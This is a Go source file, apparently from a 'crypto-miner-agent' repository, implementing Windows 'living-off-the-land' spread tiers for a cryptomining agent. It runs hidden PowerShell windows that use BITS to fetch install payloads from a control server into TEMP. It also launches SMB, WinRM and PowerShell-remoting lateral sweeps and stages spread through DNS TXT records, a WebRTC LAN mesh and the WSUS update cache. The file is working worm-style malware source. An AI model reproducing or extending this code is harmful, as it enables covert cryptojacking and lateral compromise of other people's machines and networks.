0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
97 lines
3.4 KiB
Go
97 lines
3.4 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os/exec"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
|
switch tier {
|
|
case "vuln_recon":
|
|
RunVulnRecon(HostOSVersion())
|
|
return true, "vuln recon complete (report only)"
|
|
case "docker":
|
|
if _, err := exec.LookPath("docker"); err != nil {
|
|
return false, "container runtime unavailable"
|
|
}
|
|
return true, "container runtime ready for worker image pull"
|
|
case "wsl":
|
|
if _, err := exec.LookPath("wsl.exe"); err != nil {
|
|
return false, "wsl.exe not found"
|
|
}
|
|
out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
|
|
if err != nil || !strings.Contains(string(out), "ok") {
|
|
return false, "wsl not responding"
|
|
}
|
|
return true, "wsl available for curl|bash install one-liner"
|
|
case "powershell":
|
|
if _, err := exec.LookPath("powershell.exe"); err != nil {
|
|
return false, "powershell missing"
|
|
}
|
|
go runPSRemotingSpread(cfg)
|
|
return true, "powershell remoting sweep started"
|
|
case "dotnet":
|
|
if _, err := exec.LookPath("dotnet"); err != nil {
|
|
return false, "dotnet SDK/runtime missing"
|
|
}
|
|
return true, "dotnet host available for tool-run bootstrap"
|
|
case "bits_curl":
|
|
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
|
|
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
|
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
|
|
return true, "bits/curl install hook queued"
|
|
case "do_peer":
|
|
if !IsDOPeerReady() {
|
|
return false, "DoSvc not running or BITS unavailable"
|
|
}
|
|
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/get?os=windows"
|
|
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
|
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
|
|
return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
|
|
case "wsus_cache_peer":
|
|
if !IsWSUSCachePeerReady() && !cfg.WSUSCachePeerSpread {
|
|
return false, "Wuauserv/cache dir not ready and wsus_cache_peer_spread off"
|
|
}
|
|
return true, "wsus_cache_peer SoftwareDistribution cousin staging queued (signed plan via discover_and_join)"
|
|
case "dns_txt":
|
|
if !cfg.DnsTxtSpread {
|
|
return false, "dns_txt_spread forge flag off"
|
|
}
|
|
zone := ProbeDNSTXTZone()
|
|
if !IsDNSTXTReady(zone) {
|
|
return false, "_aether TXT not resolvable on " + zone
|
|
}
|
|
return true, "dns_txt mesh TXT shard staging queued (signed plan via discover_and_join)"
|
|
case "webrtc_mesh":
|
|
if !IsWebRTCMeshReady(cfg) {
|
|
return false, "webrtc_mesh_spread forge flag off (heavier LAN seed path)"
|
|
}
|
|
return true, "webrtc_mesh LAN seed manifest queued (STUN + WS relay or LAN HTTP fallback)"
|
|
case "smb":
|
|
if !cfg.AutoSpread && !cfg.ShareSpread {
|
|
go RunSpreadOnce(cfg)
|
|
return true, "smb lateral sweep started"
|
|
}
|
|
go RunSpreadOnce(cfg)
|
|
return true, "smb sweep started"
|
|
case "winrm":
|
|
if !cfg.ShareSpread {
|
|
go runPSRemotingSpread(cfg)
|
|
return true, "winrm opportunistic sweep started"
|
|
}
|
|
go runPSRemotingSpread(cfg)
|
|
return true, "winrm sweep started"
|
|
case "linux":
|
|
return false, "linux tier is for ssh lateral on unix agents"
|
|
case "gpo":
|
|
return false, "gpo requires domain GPO push — operator action"
|
|
default:
|
|
return false, "unknown tier"
|
|
}
|
|
}
|